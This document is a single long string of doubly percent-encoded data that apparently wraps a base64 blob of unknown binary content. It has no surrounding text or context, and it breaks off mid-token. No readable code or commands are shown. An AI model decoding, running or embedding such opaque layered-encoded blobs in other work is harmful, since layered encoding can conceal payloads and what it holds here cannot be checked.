%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%32%25%37%31%25%36%37%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%30%25%32%62%25%34%31%25%34%31%25%34%31%25%34%32%25%37%30%25%34%33%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%61%25%36%66%25%36%32%25%36%62%25%36%65%25%36%66%25%36%33%25%34%65%25%36%37%25%35%61%25%36%37%25%34%31%25%34%39%25%36%33%25%35%39%25%34%33%25%34%33%25%36%66%25%34%61%25%36%37%25%36%65%25%34%64%25%35%32%25%34%33%25%34%31%25%37%32%25%34%65%25%36%31%25%34%64%25%35%35%25%34%63%25%34%33%25%33%34%25%34%35%25%36%66%25%34%31%25%34%31%25%34%35%25%33%32%25%34%31%25%36%39%25%35%31%25%34%34%25%36%37%25%36%61%25%33%34%25%34%35%25%34%39%25%34%31%25%35%37%25%34%36%25%34%37%25%36%37%25%36%35%25%34%36%25%36%33%25%37%37%25%37%38%25%35%37%25%34%37%25%33%36%25%37%37%25%33%35%25%34%65%25%35%37%25%35%30%25%36%33%25%37%61%25%35%31%25%37%61%25%34%66%25%34%31%25%37%38%25%34%33%25%35%36%25%33%32%25%34%34%25%33%38%25%32%62%25%36%39%25%37%33%25%37%30%25%35%32%25%35%38%25%37%36%25%34%38%25%32%66%25%36%36%25%33%30%25%33%39%25%34%66%25%33%34%25%34%63%25%34%33%25%34%36%25%36%31%25%36%37%25%35%30%25%34%66%25%37%31%25%37%39%25%35%32%25%35%39%25%34%65%25%34%66%25%33%30%25%35%33%25%36%31%25%36%35%25%34%39%25%35%35%25%35%39%25%35%32%25%36%35%25%34%33%25%34%34%25%34%32%25%34%63%25%36%38%25%34%35%25%34%62%25%35%61%25%36%62%25%36%33%25%34%38%25%36%31%25%33%35%25%35%39%25%36%62%25%33%31%25%37%37%25%37%35%25%34%35%25%37%31%25%36%32%25%34%65%25%35%30%25%36%36%25%34%65%25%36%38%25%34%38%25%33%32%25%35%39%25%34%38%25%33%36%25%37%32%25%37%34%25%34%65%25%35%30%25%33%38%25%34%61%25%35%34%25%36%35%25%37%37%25%34%36%25%34%65%25%33%32%25%32%66%25%33%36%25%36%38%25%36%64%25%37%32%25%37%38%25%33%38%25%35%31%25%33%33%25%34%66%25%33%36%25%37%36%25%37%30%25%35%38%25%33%37%25%35%39%25%36%32%25%37%32%25%34%61%25%35%39%25%37%34%25%36%66%25%36%66%25%35%36%25%36%31%25%35%33%25%35%36%25%33%37%25%33%37%25%34%36%25%36%34%25%34%61%25%37%30%25%34%63%25%34%61%25%36%31%25%33%36%25%33%32%25%35%33%25%34%38%25%36%37%25%34%37%25%34%39%25%37%34%25%32%66%25%33%32%25%34%65%25%34%61%25%36%61%25%33%36%25%34%61%25%34%33%25%34%37%25%35%30%25%36%34%25%36%39%25%35%61%25%34%39%25%37%30%25%34%36%25%33%39%25%33%38%25%34%62%25%33%34%25%32%62%25%35%31%25%35%61%25%34%32%25%36%31%25%36%35%25%36%31%25%34%63%25%32%66%25%33%30%25%37%61%25%36%35%25%33%34%25%36%33%25%34%64%25%34%33%25%35%38%25%33%38%25%34%31%25%37%37%25%36%39%25%35%38%25%34%31%25%37%30%25%34%31%25%36%61%25%34%39%25%33%32%25%37%34%25%36%33%25%36%38%25%36%31%25%33%36%25%37%33%25%36%31%25%37%61%25%35%38%25%37%30%25%35%32%25%37%32%25%36%65%25%33%37%25%36%37%25%36%34%25%33%39%25%36%64%25%35%34%25%32%66%25%36%37%25%34%37%25%37%33%25%34%34%25%34%62%25%35%33%25%37%38%25%35%31%25%36%33%25%34%36%25%36%39%25%37%61%25%34%62%25%36%31%25%36%63%25%37%36%25%37%38%25%36%37%25%34%39%25%36%37%25%37%31%25%34%62%25%36%38%25%35%39%25%36%62%25%33%32%25%33%34%25%34%33%25%33%36%25%34%64%25%35%32%25%35%38%25%37%33%25%33%33%25%35%36%25%37%34%25%33%36%25%37%34%25%37%37%25%33%39%25%33%33%25%34%37%25%33%32%25%36%63%25%37%39%25%36%64%25%36%39%25%33%30%25%37%30%25%35%38%25%36%35%25%35%35%25%34%31%25%36%36%25%36%36%25%33%37%25%34%38%25%35%61%25%37%34%25%33%30%25%34%64%25%35%31%25%35%33%25%34%62%25%34%63%25%34%38%25%36%38%25%33%35%25%33%30%25%35%35%25%35%61%25%35%38%25%34%63%25%34%37%25%35%31%25%36%33%25%34%39%25%35%32%25%36%63%25%34%64%25%35%32%25%32%66%25%34%33%25%36%34%25%37%30%25%34%36%25%33%30%25%37%61%25%37%30%25%35%34%25%34%39%25%37%30%25%33%35%25%36%35%25%36%35%25%35%30%25%33%37%25%32%66%25%33%37%25%33%37%25%35%36%25%33%39%25%33%37%25%37%36%25%37%33%25%35%35%25%36%66%25%35%30%25%35%33%25%37%30%25%37%37%25%37%31%25%33%32%25%34%34%25%32%66%25%34%66%25%34%38%25%35%33%25%34%32%25%36%33%25%34%61%25%35%61%25%35%30%25%36%62%25%35%33%25%37%61%25%35%30%25%34%35%25%37%61%25%37%61%25%34%39%25%36%66%25%34%32%25%32%66%25%37%33%25%34%65%25%37%35%25%34%38%25%35%37%25%37%61%25%37%35%25%33%34%25%34%32%25%36%32%25%36%33%25%36%37%25%37%37%25%34%63%25%34%32%25%33%35%25%34%31%25%34%32%25%34%39%25%36%66%25%37%36%25%35%37%25%34%36%25%37%32%25%36%34%25%37%31%25%37%34%25%35%31%25%34%61%25%32%62%25%33%34%25%36%63%25%37%36%25%33%30%25%37%33%25%34%63%25%35%38%25%33%30%25%33%33%25%35%33%25%35%34%25%34%31%25%35%37%25%34%66%25%35%34%25%36%34%25%37%35%25%35%39%25%37%38%25%36%31%25%33%32%25%35%33%25%37%30%25%34%39%25%35%39%25%33%33%25%34%34%25%33%37%25%33%35%25%34%64%25%34%38%25%34%31%25%36%36%25%37%61%25%36%31%25%36%37%25%37%33%25%37%38%25%34%63%25%35%39%25%36%32%25%34%36%25%36%61%25%32%62%25%33%38%25%34%35%25%36%31%25%35%31%25%34%32%25%37%35%25%33%38%25%37%31%25%34%62%25%37%35%25%36%63%25%34%37%25%35%33%25%34%66%25%34%64%25%36%32%25%34%35%25%34%34%25%35%32%25%32%66%25%35%32%25%34%31%25%37%33%25%34%63%25%35%38%25%34%63%25%33%31%25%36%64%25%36%65%25%37%30%25%37%35%25%37%36%25%33%39%25%33%39%25%34%31%25%36%37%25%36%66%25%34%31%25%34%35%25%34%36%25%34%39%25%35%38%25%34%63%25%36%65%25%37%37%25%33%39%25%37%34%25%35%39%25%34%39%25%36%36%25%34%32%25%34%36%25%37%37%25%37%32%25%36%64%25%35%30%25%34%35%25%35%34%25%32%66%25%34%64%25%34%63%25%35%36%25%33%39%25%36%36%25%37%34%25%36%64%25%37%32%25%36%31%25%37%32%25%37%35%25%36%39%25%36%36%25%36%62%25%32%66%25%34%35%25%35%31%25%35%39%25%36%33%25%35%31%25%37%31%25%34%64%25%37%38%25%36%37%25%36%63%25%36%36%25%36%34%25%37%38%25%35%38%25%35%35%25%37%31%25%34%38%25%37%33%25%34%61%25%35%30%25%36%32%25%34%64%25%35%61%25%37%39%25%33%33%25%34%61%25%36%35%25%33%39%25%36%34%25%37%34%25%35%37%25%37%35%25%34%33%25%33%36%25%35%37%25%33%34%25%33%36%25%35%30%25%32%62%25%33%33%25%35%36%25%37%31%25%32%66%25%37%34%25%35%37%25%33%39%25%35%35%25%33%31%25%33%38%25%34%38%25%36%62%25%35%37%25%34%31%25%37%32%25%37%61%25%32%66%25%37%33%25%33%30%25%37%39%25%34%35%25%33%36%25%37%36%25%33%31%25%34%31%25%34%62%25%37%35%25%35%32%25%34%35%25%35%36%25%33%33%25%35%38%25%37%34%25%33%39%25%37%32%25%37%61%25%37%30%25%33%36%25%35%36%25%34%66%25%37%61%25%34%32%25%35%30%25%34%66%25%34%32%25%34%61%25%32%66%25%34%64%25%35%61%25%34%64%25%37%32%25%35%34%25%35%35%25%34%35%25%37%39%25%35%61%25%34%38%25%34%64%25%36%38%25%33%36%25%34%31%25%36%61%25%36%37%25%36%34%25%33%30%25%35%31%25%34%35%25%36%32%25%37%61%25%33%38%25%35%34%25%34%35%25%34%62%25%35%38%25%34%63%25%35%31%25%34%35%25%34%36%25%36%62%25%33%37%25%34%36%25%36%64%25%34%64%25%34%34%25%34%34%25%32%66%25%33%37%25%33%32%25%37%31%25%33%37%25%33%36%25%36%36%25%37%32%25%33%35%25%37%30%25%37%61%25%36%32%25%34%39%25%35%34%25%37%31%25%36%64%25%36%31%25%34%61%25%34%31%25%33%36%25%37%38%25%33%36%25%36%31%25%37%38%25%35%31%25%35%37%25%37%35%25%35%35%25%33%34%25%34%63%25%36%33%25%34%35%25%37%33%25%34%35%25%34%31%25%35%34%25%36%31%25%35%30%25%36%63%25%37%32%25%37%32%25%37%38%25%33%35%25%36%39%25%37%33%25%34%37%25%34%64%25%36%61%25%34%61%25%36%36%25%36%37%25%36%62%25%32%62%25%36%35%25%37%61%25%35%39%25%36%38%25%37%33%25%37%35%25%36%61%25%32%66%25%35%30%25%36%66%25%35%34%25%35%61%25%37%61%25%37%61%25%34%38%25%34%62%25%34%62%25%35%31%25%35%31%25%36%37%25%36%63%25%35%61%25%36%64%25%33%38%25%36%37%25%34%66%25%34%62%25%34%31%25%34%31%25%35%31%25%34%32%25%34%31%25%34%31%25%37%38%25%33%34%25%37%37%25%34%39%25%34%31%25%34%36%25%36%37%25%35%39%25%37%37%25%34%64%25%36%37%25%36%31%25%36%66%25%37%31%25%36%37%25%35%32%25%34%35%25%36%61%25%34%32%25%34%32%25%37%37%25%34%66%25%36%37%25%35%33%25%35%36%25%34%63%25%34%32%25%35%30%25%36%32%25%34%39%25%34%66%25%35%39%25%34%35%25%34%31%25%32%62%25%34%66%25%34%37%25%34%62%25%34%36%25%35%33%25%34%63%25%35%61%25%33%31%25%34%36%25%36%62%25%35%31%25%33%38%25%35%30%25%37%39%25%34%38%25%37%35%25%35%31%25%36%32%25%36%66%25%33%37%25%32%62%25%36%31%25%37%39%25%36%31%25%36%66%25%36%61%25%33%38%25%34%62%25%36%32%25%36%32%25%35%37%25%34%31%25%35%61%25%33%38%25%34%33%25%34%64%25%34%37%25%36%37%25%35%36%25%36%33%25%34%66%25%35%35%25%35%35%25%37%30%25%33%37%25%34%38%25%37%33%25%32%66%25%36%31%25%36%38%25%32%62%25%36%64%25%37%35%25%37%33%25%36%37%25%33%34%25%34%66%25%36%31%25%32%66%25%36%33%25%35%39%25%34%35%25%34%31%25%34%33%25%34%33%25%36%37%25%35%39%25%34%31%25%34%39%25%35%35%25%37%37%25%34%34%25%34%37%25%35%36%25%34%34%25%33%33%25%36%33%25%34%35%25%34%61%25%36%37%25%37%31%25%34%31%25%34%31%25%34%31%25%36%65%25%34%35%25%34%33%25%34%31%25%36%62%25%37%33%25%34%64%25%35%34%25%35%30%25%36%34%25%37%36%25%36%62%25%37%36%25%33%34%25%36%34%25%34%38%25%35%30%25%37%39%25%34%33%25%34%31%25%35%30%25%37%61%25%33%32%25%34%34%25%34%31%25%34%39%25%35%61%25%33%39%25%33%37%25%37%33%25%34%64%25%35%36%25%34%34%25%34%31%25%33%34%25%36%62%25%35%33%25%33%32%25%34%64%25%34%38%25%37%38%25%36%63%25%33%37%25%34%31%25%37%30%25%37%32%25%34%31%25%35%36%25%35%61%25%35%39%25%34%66%25%37%35%25%37%37%25%37%34%25%35%39%25%37%31%25%34%37%25%36%66%25%35%31%25%33%39%25%34%37%25%35%33%25%37%31%25%35%33%25%37%32%25%33%36%25%36%38%25%35%35%25%35%61%25%35%35%25%34%38%25%36%38%25%36%37%25%35%35%25%34%32%25%34%31%25%32%66%25%37%33%25%33%38%25%36%35%25%35%35%25%37%34%25%34%64%25%35%37%25%36%39%25%34%31%25%35%36%25%33%35%25%33%30%25%35%35%25%35%31%25%33%36%25%36%33%25%35%39%25%36%66%25%36%33%25%33%33%25%34%61%25%36%33%25%36%64%25%34%65%25%34%61%25%35%30%25%37%35%25%34%64%25%34%33%25%37%61%25%37%35%25%37%39%25%34%38%25%34%36%25%34%34%25%32%62%25%34%31%25%34%34%25%34%34%25%33%31%25%36%38%25%35%31%25%37%33%25%34%64%25%37%31%25%36%38%25%34%33%25%34%39%25%36%39%25%36%64%25%34%31%25%34%35%25%36%63%25%34%61%25%34%33%25%36%34%25%34%33%25%32%62%25%37%36%25%37%30%25%35%31%25%35%31%25%36%38%25%34%64%25%34%32%25%34%31%25%36%62%25%35%31%25%34%39%25%33%30%25%36%61%25%36%32%25%34%36%25%36%37%25%34%33%25%35%30%25%34%61%25%37%31%25%35%33%25%34%64%25%34%31%25%35%31%25%33%30%25%37%30%25%34%39%25%35%32%25%35%31%25%36%32%25%36%32%25%37%36%25%35%61%25%34%64%25%33%35%25%36%36%25%34%39%25%35%39%25%34%31%25%36%32%25%36%34%25%36%32%25%34%36%25%35%32%25%35%35%25%34%39%25%35%31%25%37%39%25%34%36%25%37%33%25%36%39%25%37%30%25%34%62%25%35%61%25%36%36%25%37%39%25%32%62%25%36%36%25%35%31%25%34%63%25%36%35%25%34%36%25%37%35%25%34%36%25%33%31%25%33%31%25%35%37%25%34%39%25%34%61%25%34%66%25%33%30%25%33%32%25%35%30%25%34%61%25%37%32%25%35%37%25%34%35%25%36%39%25%35%37%25%36%32%25%34%32%25%33%35%25%35%30%25%36%39%25%35%61%25%33%31%25%36%31%25%36%61%25%35%36%25%35%38%25%36%35%25%36%63%25%36%39%25%32%66%25%36%39%25%33%35%25%34%33%25%37%61%25%37%37%25%36%36%25%35%38%25%36%62%25%34%64%25%33%34%25%34%37%25%33%34%25%33%36%25%33%34%25%36%62%25%36%37%25%33%31%25%34%64%25%34%36%25%34%37%25%35%34%25%33%31%25%33%33%25%36%37%25%33%32%25%34%65%25%36%66%25%37%35%25%33%31%25%34%37%25%34%39%25%32%66%25%34%37%25%34%65%25%34%64%25%36%64%25%35%33%25%36%36%25%36%63%25%36%34%25%37%30%25%35%61%25%33%34%25%36%64%25%34%36%25%34%64%25%34%38%25%35%32%25%37%33%25%35%38%25%33%31%25%35%36%25%36%66%25%33%30%25%35%36%25%36%37%25%33%32%25%34%33%25%36%37%25%33%37%25%36%31%25%36%65%25%34%35%25%34%62%25%35%37%25%37%37%25%36%64%25%34%39%25%37%34%25%37%34%25%37%37%25%36%31%25%34%66%25%35%33%25%34%64%25%33%38%25%37%30%25%35%30%25%34%36%25%36%39%25%37%32%25%36%61%25%34%66%25%37%32%25%37%36%25%34%61%25%35%33%25%37%30%25%35%31%25%36%65%25%37%61%25%35%32%25%35%37%25%34%64%25%35%35%25%37%30%25%37%31%25%33%34%25%35%36%25%37%37%25%32%66%25%35%39%25%37%39%25%36%61%25%37%32%25%37%61%25%37%37%25%37%39%25%37%32%25%36%34%25%36%61%25%34%62%25%36%65%25%37%38%25%36%61%25%35%34%25%37%37%25%34%31%25%36%32%25%35%36%25%36%63%25%33%36%25%35%32%25%34%32%25%34%63%25%37%39%25%33%32%25%36%63%25%34%62%25%36%61%25%33%36%25%33%36%25%34%32%25%35%39%25%35%36%25%33%33%25%37%30%25%33%31%25%34%62%25%34%38%25%34%37%25%36%34%25%34%32%25%34%66%25%36%63%25%34%36%25%34%37%25%36%64%25%35%33%25%32%62%25%35%35%25%36%35%25%35%38%25%36%33%25%33%34%25%36%37%25%33%37%25%37%35%25%33%37%25%34%32%25%36%35%25%37%36%25%33%36%25%36%63%25%35%31%25%34%37%25%35%37%25%33%36%25%33%36%25%33%36%25%32%66%25%37%32%25%37%34%25%32%66%25%33%31%25%36%34%25%34%66%25%33%30%25%36%63%25%37%30%25%36%36%25%37%37%25%37%30%25%34%32%25%35%31%25%36%64%25%36%33%25%34%39%25%35%38%25%36%34%25%35%37%25%37%39%25%37%30%25%33%38%25%36%33%25%36%36%25%36%65%25%35%35%25%33%32%25%37%61%25%34%61%25%34%66%25%35%30%25%34%66%25%33%37%25%34%61%25%36%64%25%36%64%25%35%39%25%37%36%25%35%39%25%34%62%25%35%36%25%35%61%25%36%32%25%36%35%25%33%30%25%34%37%25%36%66%25%37%31%25%34%32%25%33%33%25%36%62%25%34%33%25%34%31%25%37%37%25%36%66%25%33%36%25%35%33%25%35%39%25%34%31%25%34%37%25%37%34%25%33%30%25%35%37%25%35%33%25%35%35%25%34%38%25%35%38%25%34%63%25%33%32%25%34%34%25%34%64%25%33%39%25%36%33%25%36%32%25%34%62%25%36%62%25%37%31%25%36%66%25%33%32%25%33%38%25%37%39%25%37%32%25%35%31%25%37%31%25%36%65%25%33%32%25%34%62%25%34%33%25%33%32%25%33%33%25%33%34%25%32%66%25%35%34%25%37%37%25%37%30%25%37%39%25%34%38%25%37%32%25%34%31%25%35%39%25%37%61%25%32%66%25%36%34%25%34%61%25%33%31%25%34%61%25%36%35%25%34%38%25%34%35%25%35%33%25%35%39%25%37%38%25%36%63%25%37%39%25%34%38%25%37%36%25%37%37%25%33%38%25%33%31%25%36%64%25%36%62%25%36%36%25%37%34%25%35%32%25%36%34%25%34%61%25%35%30%25%33%35%25%34%65%25%33%37%25%33%37%25%35%34%25%36%35%25%35%30%25%36%34%25%32%62%25%35%34%25%34%33%25%34%35%25%33%39%25%37%34%25%37%37%25%33%31%25%36%61%25%33%32%25%33%34%25%35%38%25%37%36%25%35%38%25%34%61%25%35%36%25%36%61%25%36%32%25%34%62%25%37%30%25%34%66%25%37%33%25%36%65%25%34%37%25%37%35%25%35%37%25%35%39%25%35%37%25%35%37%25%34%63%25%36%32%25%36%64%25%36%38%25%33%36%25%34%65%25%33%33%25%35%35%25%36%62%25%34%32%25%35%61%25%34%37%25%33%32%25%36%38%25%37%30%25%34%32%25%37%32%25%34%61%25%34%39%25%36%38%25%36%36%25%37%38%25%36%61%25%36%35%25%35%35%25%37%61%25%37%37%25%37%33%25%33%31%25%37%32%25%34%61%25%33%33%25%35%37%25%35%30%25%36%62%25%35%33%25%34%61%25%34%36%25%35%39%25%37%30%25%34%63%25%35%38%25%36%66%25%37%36%25%34%36%25%35%30%25%34%37%25%35%33%25%36%33%25%37%32%25%37%38%25%34%34%25%37%35%25%37%33%25%37%61%25%34%37%25%37%30%25%36%39%25%35%38%25%33%37%25%32%62%25%37%61%25%36%36%25%35%33%25%37%61%25%35%36%25%33%35%25%33%30%25%36%31%25%37%34%25%33%33%25%36%63%25%34%32%25%35%35%25%35%61%25%34%36%25%37%61%25%35%33%25%36%32%25%35%35%25%36%61%25%34%38%25%34%31%25%37%30%25%35%37%25%34%39%25%36%31%25%37%30%25%34%31%25%36%63%25%35%30%25%33%33%25%35%33%25%37%38%25%34%65%25%36%37%25%33%39%25%34%62%25%37%34%25%34%33%25%34%37%25%37%34%25%36%39%25%35%34%25%34%39%25%35%32%25%32%66%25%34%65%25%32%66%25%36%34%25%33%32%25%36%39%25%34%32%25%33%31%25%34%36%25%37%33%25%34%33%25%33%33%25%35%36%25%37%34%25%36%64%25%33%36%25%33%34%25%34%36%25%37%38%25%33%37%25%33%30%25%35%38%25%37%36%25%37%61%25%36%31%25%36%35%25%35%38%25%36%32%25%35%38%25%37%61%25%37%35%25%36%66%25%36%33%25%33%32%25%36%33%25%37%33%25%37%33%25%36%37%25%35%32%25%37%36%25%37%38%25%35%30%25%34%64%25%34%62%25%34%32%25%36%61%25%35%31%25%34%36%25%34%66%25%34%34%25%37%38%25%36%62%25%34%37%25%34%36%25%34%35%25%36%61%25%36%39%25%36%65%25%36%66%25%33%39%25%37%37%25%34%32%25%35%61%25%35%35%25%34%66%25%34%37%25%36%36%25%36%37%25%34%66%25%34%32%25%36%62%25%34%32%25%35%36%25%36%34%25%35%61%25%37%39%25%34%31%25%34%61%25%33%30%25%35%37%25%33%31%25%34%39%25%34%62%25%36%37%25%33%30%25%33%30%25%34%38%25%36%62%25%36%61%25%37%38%25%34%37%25%33%34%25%32%66%25%32%66%25%34%37%25%36%34%25%34%63%25%34%31%25%35%33%25%37%35%25%37%38%25%36%37%25%35%31%25%37%61%25%35%39%25%35%32%25%35%37%25%34%61%25%34%65%25%36%61%25%34%37%25%35%32%25%35%33%25%35%37%25%34%64%25%35%34%25%33%34%25%34%63%25%34%37%25%37%33%25%35%37%25%36%37%25%33%32%25%35%31%25%37%34%25%35%33%25%37%31%25%33%39%25%34%62%25%34%32%25%36%39%25%35%31%25%35%31%25%36%31%25%37%34%25%36%39%25%34%62%25%34%37%25%34%31%25%34%32%25%36%38%25%36%34%25%34%34%25%37%31%25%34%34%25%34%36%25%36%66%25%37%34%25%37%38%25%33%30%25%34%36%25%36%37%25%37%35%25%34%38%25%34%38%25%33%33%25%32%66%25%36%66%25%37%34%25%37%36%25%32%62%25%35%34%25%36%31%25%32%62%25%34%65%25%36%34%25%36%61%25%34%34%25%37%30%25%36%35%25%36%39%25%37%35%25%34%39%25%33%30%25%34%34%25%33%30%25%36%36%25%37%32%25%35%33%25%36%32%25%34%61%25%37%35%25%34%34%25%36%66%25%35%33%25%33%35%25%34%39%25%34%33%25%34%39%25%36%62%25%34%64%25%34%38%25%34%34%25%34%64%25%36%62%25%34%36%25%36%61%25%33%30%25%36%36%25%37%37%25%34%66%25%34%32%25%37%37%25%34%33%25%34%37%25%34%37%25%34%32%25%37%36%25%33%37%25%37%33%25%36%31%25%35%36%25%34%66%25%34%31%25%33%32%25%34%35%25%36%37%25%32%66%25%34%37%25%37%39%25%37%33%25%33%39%25%33%34%25%34%64%25%34%31%25%36%65%25%37%35%25%37%34%25%33%33%25%34%36%25%34%37%25%35%31%25%33%35%25%35%31%25%34%34%25%37%39%25%34%64%25%36%38%25%33%31%25%34%31%25%36%63%25%35%31%25%35%36%25%35%31%25%34%31%25%34%39%25%36%32%25%36%64%25%36%62%25%35%31%25%36%66%25%34%39%25%34%32%25%37%39%25%37%39%25%34%39%25%37%33%25%37%34%25%34%37%25%34%33%25%32%66%25%33%35%25%34%66%25%37%31%25%35%34%25%36%62%25%34%64%25%34%31%25%33%32%25%37%31%25%36%66%25%35%35%25%33%33%25%34%35%25%36%39%25%34%61%25%35%34%25%36%33%25%33%35%25%37%61%25%37%33%25%36%31%25%37%36%25%37%34%25%36%34%25%34%62%25%37%33%25%33%37%25%33%33%25%34%37%25%34%66%25%37%36%25%34%32%25%37%61%25%33%33%25%37%36%25%36%34%25%35%32%25%32%66%25%33%36%25%33%33%25%34%35%25%34%35%25%32%66%25%33%37%25%34%63%25%33%38%25%33%36%25%37%31%25%34%36%25%34%37%25%37%61%25%36%33%25%32%66%25%33%33%25%35%38%25%34%36%25%35%37%25%33%35%25%37%39%25%36%39%25%33%39%25%37%36%25%36%34%25%36%32%25%35%39%25%32%66%25%33%37%25%35%30%25%36%35%25%36%33%25%36%63%25%34%38%25%32%66%25%36%61%25%34%35%25%34%65%25%33%37%25%33%34%25%33%33%25%37%32%25%36%66%25%33%33%25%32%66%25%34%34%25%37%36%25%33%37%25%32%66%25%34%61%25%36%34%25%34%34%25%35%37%25%34%65%25%35%37%25%36%32%25%34%33%25%36%66%25%36%65%25%35%36%25%36%39%25%34%35%25%36%61%25%34%39%25%34%62%25%36%64%25%34%36%25%35%33%25%35%61%25%34%34%25%34%31%25%37%31%25%35%35%25%34%62%25%36%37%25%36%34%25%34%31%25%33%32%25%37%31%25%35%31%25%34%64%25%35%32%25%33%39%25%36%31%25%35%35%25%36%65%25%34%37%25%36%63%25%33%35%25%34%64%25%37%37%25%37%30%25%36%64%25%34%36%25%36%33%25%33%30%25%37%30%25%36%64%25%35%36%25%36%35%25%33%32%25%36%66%25%34%37%25%34%61%25%35%32%25%33%31%25%35%61%25%34%62%25%36%31%25%35%61%25%35%38%25%35%35%25%37%32%25%34%37%25%36%63%25%35%39%25%33%31%25%37%34%25%36%31%25%37%38%25%35%61%25%35%32%25%33%37%25%36%33%25%36%38%25%33%32%25%34%62%25%35%39%25%35%31%25%35%37%25%33%30%25%34%61%25%37%34%25%34%33%25%33%37%25%34%64%25%36%61%25%33%33%25%34%33%25%33%36%25%34%37%25%35%30%25%35%35%25%37%61%25%33%37%25%35%37%25%34%31%25%33%34%25%34%64%25%34%31%25%36%33%25%34%32%25%35%35%25%34%31%25%36%37%25%34%31%25%33%34%25%35%35%25%34%62%25%34%66%25%35%31%25%36%37%25%37%32%25%35%32%25%36%31%25%34%31%25%37%30%25%34%66%25%37%31%25%34%37%25%35%34%25%34%62%25%37%31%25%34%32%25%35%32%25%37%61%25%35%36%25%34%33%25%36%63%25%36%64%25%33%31%25%34%33%25%36%31%25%36%32%25%35%35%25%37%35%25%35%61%25%34%32%25%35%34%25%33%35%25%33%38%25%34%37%25%33%30%25%32%62%25%36%39%25%32%66%25%36%62%25%33%31%25%36%36%25%36%62%25%37%37%25%36%66%25%37%39%25%33%36%25%34%31%25%36%37%25%37%32%25%36%66%25%35%31%25%35%61%25%37%34%25%35%36%25%34%36%25%35%35%25%34%36%25%35%31%25%35%38%25%37%37%25%33%35%25%37%39%25%33%36%25%34%31%25%36%62%25%37%32%25%37%31%25%35%33%25%37%30%25%36%38%25%35%38%25%35%36%25%33%30%25%34%36%25%35%61%25%35%38%25%35%31%25%33%30%25%34%63%25%33%36%25%36%39%25%36%31%25%36%66%25%37%31%25%34%61%25%33%32%25%37%37%25%37%31%25%34%37%25%33%36%25%34%32%25%37%31%25%37%32%25%36%66%25%35%36%25%36%63%25%37%34%25%35%34%25%37%34%25%35%35%25%34%36%25%34%65%25%33%33%25%37%37%25%34%63%25%34%62%25%33%36%25%34%37%25%32%62%25%37%32%25%37%31%25%34%38%25%36%63%25%36%38%25%35%32%25%36%35%25%33%36%25%34%33%25%36%38%25%33%39%25%37%33%25%34%61%25%37%31%25%35%35%25%37%36%25%36%35%25%34%38%25%34%31%25%33%31%25%35%36%25%36%66%25%35%31%25%36%37%25%32%66%25%34%33%25%36%64%25%36%65%25%36%66%25%34%66%25%33%31%25%37%34%25%35%35%25%34%32%25%36%31%25%34%62%25%37%36%25%36%65%25%35%39%25%35%35%25%34%66%25%33%39%25%34%32%25%34%32%25%33%33%25%33%31%25%34%64%25%36%64%25%37%39%25%37%31%25%35%36%25%33%36%25%34%33%25%37%32%25%35%38%25%36%66%25%35%35%25%37%34%25%33%39%25%35%32%25%37%32%25%33%30%25%33%31%25%34%66%25%37%35%25%37%37%25%37%32%25%35%34%25%33%36%25%34%31%25%34%39%25%36%36%25%35%35%25%36%38%25%33%37%25%34%62%25%36%38%25%35%30%25%35%39%25%34%36%25%36%38%25%33%39%25%34%33%25%37%32%25%37%36%25%37%31%25%34%64%25%37%38%25%36%38%25%35%32%25%36%65%25%33%38%25%34%66%25%36%35%25%32%62%25%36%37%25%35%61%25%34%37%25%33%31%25%35%35%25%34%38%25%35%39%25%35%36%25%33%39%25%32%66%25%34%34%25%36%64%25%35%30%25%36%66%25%34%32%25%34%34%25%37%31%25%37%61%25%32%62%25%35%61%25%36%33%25%34%35%25%36%38%25%34%63%25%32%66%25%36%35%25%35%36%25%37%33%25%33%32%25%36%66%25%34%36%25%34%32%25%34%32%25%33%31%25%35%32%25%34%33%25%37%31%25%36%33%25%36%65%25%35%33%25%35%61%25%37%38%25%34%63%25%37%38%25%34%39%25%32%66%25%36%31%25%36%66%25%37%34%25%36%65%25%36%38%25%32%62%25%34%63%25%36%36%25%37%33%25%36%37%25%37%30%25%34%38%25%34%38%25%34%63%25%37%32%25%33%37%25%33%30%25%33%32%25%33%37%25%35%39%25%33%34%25%33%32%25%35%39%25%33%36%25%37%35%25%34%66%25%34%62%25%36%31%25%33%38%25%35%39%25%35%38%25%37%36%25%35%36%25%37%61%25%35%31%25%36%35%25%33%32%25%33%38%25%34%64%25%33%37%25%37%33%25%34%39%25%36%37%25%37%37%25%35%35%25%36%63%25%35%61%25%36%66%25%36%62%25%33%39%25%36%38%25%35%32%25%36%34%25%37%35%25%37%38%25%36%38%25%34%37%25%34%36%25%37%37%25%36%64%25%36%61%25%34%64%25%34%63%25%37%34%25%35%39%25%34%32%25%36%39%25%37%31%25%37%61%25%34%65%25%33%35%25%36%66%25%37%33%25%35%35%25%37%38%25%36%35%25%36%66%25%35%32%25%33%39%25%37%36%25%33%33%25%37%61%25%32%66%25%37%36%25%35%33%25%33%39%25%37%36%25%33%30%25%34%65%25%37%32%25%35%33%25%37%37%25%37%35%25%37%34%25%35%31%25%33%38%25%33%30%25%37%31%25%35%38%25%34%35%25%33%39%25%35%31%25%33%31%25%36%65%25%33%37%25%34%35%25%37%38%25%37%35%25%33%31%25%33%36%25%33%34%25%32%62%25%36%64%25%37%39%25%32%66%25%36%64%25%37%32%25%36%62%25%35%37%25%34%39%25%32%66%25%33%30%25%33%35%25%34%65%25%35%30%25%35%38%25%34%33%25%36%65%25%35%34%25%33%36%25%37%38%25%34%66%25%35%61%25%35%38%25%35%32%25%35%31%25%37%33%25%36%32%25%32%62%25%36%38%25%36%66%25%35%38%25%37%38%25%37%32%25%37%39%25%37%36%25%35%36%25%35%35%25%37%37%25%36%35%25%35%36%25%35%37%25%34%65%25%37%34%25%36%36%25%35%30%25%35%38%25%33%36%25%34%39%25%35%33%25%34%63%25%36%66%25%35%33%25%37%30%25%35%61%25%34%65%25%36%65%25%37%31%25%33%36%25%34%63%25%36%62%25%34%65%25%36%65%25%33%33%25%33%30%25%36%61%25%34%39%25%33%39%25%36%61%25%34%66%25%34%61%25